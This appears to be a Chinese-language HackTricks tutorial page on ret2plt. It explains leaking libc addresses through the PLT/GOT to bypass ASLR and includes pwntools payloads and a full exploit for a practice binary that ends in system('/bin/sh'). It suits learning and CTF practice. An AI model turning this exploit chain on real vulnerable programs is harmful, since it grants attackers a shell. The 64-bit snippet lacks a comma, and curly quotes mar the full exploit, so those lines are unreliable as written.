Ret2plt

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

此技术的目标是从 PLT 中 leak 某个函数的地址以便能够绕过 ASLR。这是因为例如如果你 leak 来自 libc 的函数 puts 的地址,你就可以计算 libc 的基地址并计算偏移以访问其他函数,例如 system

这可以用一个 pwntools 的 payload 完成,如 (from here):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

注意 puts(使用来自 PLT 的地址)是如何用位于 GOT(Global Offset Table)中的 puts 地址被调用的。这是因为当 puts 打印出 GOT 中的 puts 条目时,该 条目将包含内存中 puts 的准确地址

还要注意利用中如何使用 main 的地址,这样当 puts 执行结束时,二进制会再次调用 main 而不是退出(因此 leaked address 将继续有效)。

Caution

注意,为了使其工作,二进制不能用 PIE 编译,或者你必须 found a leak to bypass PIE 才能知道 PLT、GOT 和 main 的地址。否则,你需要先 bypass PIE。

你可以在 full example of this bypass here 找到完整示例。下面是该 example 的最终 exploit:

Full exploit example (ret2plt leak + system) ```python from pwn import *

elf = context.binary = ELF(‘./vuln-32’) libc = elf.libc p = process()

p.recvline()

payload = flat( ‘A’ * 32, elf.plt[‘puts’], elf.sym[‘main’], elf.got[‘puts’] )

p.sendline(payload)

puts_leak = u32(p.recv(4)) p.recvlines(2)

libc.address = puts_leak - libc.sym[‘puts’] log.success(f’LIBC base: {hex(libc.address)}’)

payload = flat( ‘A’ * 32, libc.sym[‘system’], libc.sym[‘exit’], next(libc.search(b’/bin/sh\x00’)) )

p.sendline(payload)

p.interactive()

</details>

## 现代注意事项

- **`-fno-plt` builds** (在现代发行版中常见) 将 `call foo@plt` 替换为 `call [foo@got]`。如果二进制没有 `foo@plt` 存根,你仍然可以使用 `puts(elf.got['foo'])` leak 已解析的地址,然后**直接返回到 GOT 条目** (`flat(padding, elf.got['foo'])`),在 lazy binding 完成后跳入 libc。
- **Full RELRO / `-Wl,-z,now`**:GOT 是只读的,但 ret2plt 仍然可用于 leak,因为你只是读取 GOT 插槽。如果该符号从未被调用,你的第一次 ret2plt 还会执行 lazy binding 然后打印已解析的插槽。
- **ASLR + PIE**:如果启用 PIE,首先 leak 一个代码指针(例如,保存的返回地址、函数指针,或通过另一个 format-string/infoleak 泄露的 `.plt` 条目)来计算 PIE 基址,然后使用重定位后的 PLT/GOT 地址构建 ret2plt 链。
- **Non‑x86 architectures with BTI/PAC (AArch64)**:PLT 条目是有效的 BTI 登陆点(`bti c`),因此在针对启用 BTI 的二进制进行利用时,优先跳入 PLT 存根(或其他带 BTI 注释的 gadget),而不是直接跳入没有 BTI 的 libc gadget,否则 CPU 会触发 `BRK`/`PAC` 错误。
- **Quick resolution helper**:如果目标函数尚未解析且你需要一次性完成 leak,可以将 PLT 调用链成两次:先 `elf.plt['foo']`(用于解析),然后再次 `elf.plt['foo']` 并以 GOT 地址作为参数来打印现在已填写的插槽。

## 其他示例 & 参考

- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE,第一步是通过溢出填充直到 canary 的字节 0x00,然后调用 puts 来 leak 它。得到 canary 后,构造 ROP gadget 调用 puts 来 leak GOT 中的 puts 地址,然后构造 ROP gadget 调用 `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary,由子函数导致的 main 中的栈溢出。使用 ROP gadget 调用 puts 来 leak GOT 中的 puts 地址,然后调用一个 one gadget。

## 参考资料

- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)

> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>